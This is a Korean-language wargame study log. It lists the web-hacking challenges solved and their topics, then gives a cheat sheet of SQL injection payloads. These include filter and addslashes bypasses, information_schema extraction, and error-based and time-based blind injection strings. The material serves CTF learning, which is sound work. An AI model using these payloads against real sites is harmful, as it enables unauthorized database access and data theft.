사전 필요 지식
•
HTML, PHP 등 웹 구조
•
Base64, RSA, AES 등 암호
•
python, java, c 등 최소 코딩 기술
참조하기 좋은 사이트
CyberChef 각종 암호화 및 복호화
XSS 치트시트
온라인 컴파일러(MySQL, PHP, JAVA 등)
필요도구
EditThisCookie (크롬 쿠키 변경 도구) - 쿠키값 확인 및 변조 (개발자 도구로 대체 가능)
Anaconda (파이썬 개발도구) - 파이썬 코딩
BurpSuite (웹 프록시 툴) - 스니핑 (파이썬으로 대체 가능)
MySQL (DB) - SQL 명령어 테스트 (온라인 컴파일러로 대부분 대체 가능)
타임라인
•
23.03.15. 시작
⁞
•
23.03.30. 50문제 (총 80)
⁞
•
23.04.04 상위 100위 진입 (61,546 users)
문제 목표
각 문제명을 클릭하면 풀이로 이동합니다.
붉은 글씨는 나중에도 충분히 참조할만한(까먹을만한) 내용이 있는 경우 표시했습니다.
LOCKED 태그가 붙은 건 잠긴 페이지입니다.
문제 | 점수 | 핵심 목표 |
20 | 쿠키 변조 | |
50 | Blind SQL Injection | |
35 | 소스값 변조를 통한 우회 + SQL Injection | |
30 | 단방향 암호 레인보우 테이블 | |
30 | 소스코드 난독화 해제 + NULL 활용 | |
10 | 소스코드 독해 | |
30 | SQLi, 필터링 우회 | |
35 | SQLi, HTTP Agent | |
90 | Blind SQLi if() | |
25 | 개발자도구 인자조절 | |
30 | REGEX 해석 | |
25 | AAENCODE (JS 이모티콘 인코딩) | |
100 | BlackBox Blind SQL Injection(Hard) | |
10 | 콘솔 복사붙여넣기 | |
5 | 자바스크립트 비활성화 | |
10 | 코드 해석 | |
10 | 콘솔 복사붙여넣기 | |
10 | SQLi 공백 우회 | |
15 | MD5 Decrypt, 쿠키 | |
20 | 소스 분석 | |
25 | Blind SQL Injection | |
50 | Blind SQL Injection, SALT | |
20 | XSS NULL문자 우회 | |
10 | 코드 필터링 우회 및 쿠키 변조(extract) | |
15 | PHP Wrapper | |
10 | URL 더블인코딩 | |
15 | SQLi, 필터링 우회 | |
50 | .htaccess (PHP 실행 금지 설정) | |
40 | SQLi DB, 테이블, 컬럼명 추출 Information_schema | |
55 | DB Hijacking (.htaccess) | |
15 | 포트포워딩 | |
15 | 쿠키 금지 | |
20 | 10문제, POST, PHP 등 | |
40 | JS Debug | |
35 | SQLi Insert Value | |
20 | Vi 임시파일 swp | |
25 | 코드 해석 및 포트 포워딩 | |
10 | CR-LF(개행) Injection | |
10 | 코드 독해를 통한 필터링 우회 | |
50 | Blackbox Blind SQL Injection | |
25 | 에러메시지 | |
20 | base64 | |
25 | 파일 업로드 필터링 (Content-Type) | |
50 | ;ls | |
55 | SQLi addslashes 우회 %bf | |
30 | SQLi 필터 우회 (2진수, 아스키) | |
15 | SMTP 헤더 조작 | |
35 | FileName Injection(?) | |
30 | SQLi or → || | |
45 | SQLi Addslashes 우회 %bf, 주석 우회 | |
25 | MD5 raw_output True 취약점 | |
40 | 리버스 프록시, Request Header Injection (%0d%0a) | |
35 | SQL procedure analyse() | |
10 | BurpSuite | |
40 | LIMIT Procedure analyse(), Blind SQLi, substr → left(right) | |
25 | FLAG Brute Force (pyhton) | |
60 | Time-based SQL Injection (sleep) | |
15 | Socket, BurpSuite | |
20 | SQL 함수로 필터링 우회 (Reverse) | |
30 | Race Condition (Cookie) | |
20 | SQL ‘as’와 HEX 변환 | |
300 | ||
100 | CSP 우회 (base 태그 취약점) | |
PRO | 400 | |
150 | GraphQL Injection | |
MEMO Service | 350 | |
CHILD | 150 | |
300 | REDOS LOCKED | |
sliping beauty | 200 | |
200 | JS Console | |
invisible_dragon | 300 | |
280(var) | LOCKED | |
250(var) | Quine SQL LOCKED | |
50 | 크롬 개발자도구 검색 | |
50 | 크롬 개발자도구 검색, 네트워크 | |
50 | TOCTOU LOCKED | |
child toctou | 200 | |
Better than 𝒳ℳℒ | 200 | |
300 | LOCKED | |
old-43 RevengE | 150 |
SQL Injection 우회 기법
✓ 주석
•
-- # /**/ ;%00
✓ 기본
•
'or 1=1#
✓ SELECT 공백 우회 및 2 표현 방식
•
select lv from chall7 where lv=(12345)union(select(4>>1))
✓ 주석 응용
#의 주석 범위는 %0a 줄바꿈 전까지
•
select lv from * where id='1212'# and pw='%0a or id='admin'%23
: /* */
•
select lv from * where id='1212'/* and pw=''*/ or id='admin'%23
✓ values 여러 값 입력
insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')
•
aaa','1.1.1.1','admin'),('bbb
•
insert into chall35(id,ip,phone) values(”guest”,”123.123.123.123”,”01012345678”),(”admin”,”MYIP”,”01099999999”)
✓ 공백 필터링
•
%09 (tab)
•
%0a (\n)
•
%0d (\r)
•
/**/ (주석)
•
() (괄호)
•
+ (더하기)
✓ ‘=’ 필터링
•
0)%09or%09no%09like%092%09--%09
# ) or no like 2 --
•
0)%09or%09no%09in%09('2')--%09
# or no in (’2’) --
✓ DB명, Information Schema 메타 데이터 테이블명, 필드명 추출
•
abcd','1111',{IP}),((SELECT database()),'1111',{IP});#
•
aaaa','1111','MYIP'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29'),'1111','MYIP');#
•
aaaa','1111','MYIP'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz'),'1111','MYIP');#
✓ 필터링 조건 속 Blind SQL Injection
✓ ‘Admin’ 문자열 필터링
•
lv=9||id=0x61646d696e
•
0||id=char(97,100,109,105,110)
•
1&&id=0b0110000101100100011011010110100101101110
•
/?lv=1%26%26id=char(97,100,109,105,110)
•
0||id=char(0x61, 0x64, 0x6d, 0x69, 0x6e)
✓ ‘or’ ‘and’ 문자열 필터링
%26 = & %7c = |
•
1||2
•
1&&2
•
1%7c%7c2
•
1%26%262
✓ Procedure analyse()
! MySQL 8.0에서 제거
테이블명 구하기
•
val=1 procedure analyse();
SELECT 값이 여러개일 때 각 필드명 구하기
•
score=1 LIMIT 0,1 Procedure analyse()
•
score=1 LIMIT 1,1 Procedure analyse()
•
score=1 LIMIT 2,1 Procedure analyse()
✓ Substr 필터링
•
right(left(id,{}),1)
✓ SQL reverse() 활용
•
sql insert into chall59 values('nimda',123,reverse(id))-- ,'guest')
✓ MultiByte ‘\’ addslash 우회
%bf를 입력함으로서 역슬래시와 함께 묶여 쓰레기값으로 유니코드 상에서 인식 불가로 넘어가게 하는방법
%27 '를 그대로 살릴 수 있다. 멀티바이트 환경에서만 가능하다 (ex. EUC-KR)
•
%bf%27 → %bf%5c%27
✓ MultiByte Character SQL Injection
'test1' 필드의 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(ex. UTF-32 등)일 때는 다음과 같은 방법으로 SQL Injection을 수행할 수 있다.
•
substr(hex(test1),1,1)=0x41
※ MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다.
✓ Error Based SQL Injection
해당 값을 입력하면 Integer 범위 초과 에러가 발생
•
0xfffffffffffff*0xfffffffffffff
✓ Time Based SQL Injection
특정 조건이 참일 때 대기시간을 발생시켜 time-out 체크를 통해 Blind SQLi가 가능해진다.
•
if(length(pw)%3E0,sleep(3.0),1)
•
if(substr(pw,1,1)='h',benchmark(100000,md5('a')),1)
✓ Time Based SQL Injection (Heavy Query)
sleep과 benchmark가 둘다 막혀 있고 DB 내부 데이터가 많은 경우, 로딩을 과하게 시켜 시간 지연을 발생시키는 방법이다.
•
if(substr(pw,1,1)='h',(select count(*) from information_schema.columns A,information_schema.columns B, information_schema.columns C),1);
SQL Injection이 가능한지 알아볼 때
•
'를 썼을 때 에러가 나는지
•
' and '1'='1 , ' and '1'='2 를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지
•
' or '1'='1 을 썼을 때 정상적으로 출력되는 지
•
숫자로 이루어진 컬럼 (ex. id=1) 을 id=200-1 로 넣었을 때 정상적으로 출력 되는 지
•
'||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언일 때 )
•
주석을 쓸때는 #(%23), -- (--%20), %0a